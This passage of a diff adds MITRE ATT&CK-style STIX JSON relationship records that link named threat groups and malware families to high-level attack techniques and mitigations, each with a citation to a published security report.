"mitigates", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can delete files and directories.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.308Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) uses [SDelete](https://attack.mitre.org/software/S0195) to clean up the environment and attempt to prevent detection.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2019-04-24T19:41:25.730Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:06:12.729Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "relationship_type": "uses", + "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has updated and modified its malware, resulting in different hash values that evade detection.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d68b3eb-9689-4a6d-b6ab-367fbc5ddade", + "external_references": [ + { + "source_name": "Symantec Black Vine", + "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + } + ], + "modified": "2019-03-22T20:09:34.682Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ], + "modified": "2019-04-29T18:01:20.287Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--95618672-6f7f-4055-9c96-29f75e276d5b", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2019-07-26T23:38:33.452Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:15:57.354Z", + "type": "relationship", + "id": "relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.", + "type": "relationship", + "created": "2017-05-31T21:33:27.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-27T00:09:35.870Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--632e3144-8785-41c4-a937-7e11139b2ae1", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.464Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.606Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses Windows services typically named \"javamtsup\" for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell scripts to evade defenses.", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.145Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.548Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--695a988e-daa3-47d7-bf8d-3539ab992f80", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) contains a keylogger.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e2e672a-02d4-4510-a629-942d44a558f1", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. 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Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses ipconfig /all and route PRINT to identify network adapter and interface information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4053d6f5-e594-4b52-96a2-2b7c0fa7d332", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some variants of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture keystrokes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates new services to establish persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72e36412-4427-479b-bc8e-e8d53e997587", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + }, + { + "source_name": "Symantec Hydraq Persistence Jan 2010", + "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines, using files written to USB sticks to transfer data and command traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--167d7b11-01f3-42d5-bb8a-78306dc80243", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-05-14T17:10:21.841Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) can remove itself from a system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--786cf397-d548-48c1-9ba6-9af66450928c", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) leveraged an open-source tool called SoftPerfect Network Scanner to perform network scanning.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--edcd7a59-f8e0-41e5-b0f5-8d348fa13a10", + "external_references": [ + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). 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Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.564Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:36:43.833Z", + "type": "relationship", + "id": "relationship--fe314020-315d-4fbe-afdd-7751d5c69fb2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) downloads a PowerShell script that decodes to a typical shellcode loader.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e47397b7-b3c7-4919-ac5e-1f3266ef97e3", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uploads data in 2048-byte chunks.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e497bf1-4fdc-40a2-b8a2-3492c1d605e5", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.041Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) uses the command line and rundll32.exe to execute.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ca68d88-a287-4c48-a4f8-68611eceb445", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) can use Windows Authentication Packages for persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69d05cb2-ded0-4847-b52e-af7af421f303", + "external_references": [ + { + "source_name": "Crysys Skywiper", + "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.", + "url": "https://www.crysys.hu/publications/files/skywiper.pdf" + } + ], + "modified": "2019-06-06T14:35:53.897Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts shared between Managed Service Providers and clients to move between the two environments.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:31.791Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.513Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13c8251c-f380-425c-b762-2298e5802dee", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses PowerShell and WMI to script data collection and command execution on the victim.", + "type": "relationship", + "created": "2017-05-31T21:33:27.074Z", + "object_marking_refs": [ + 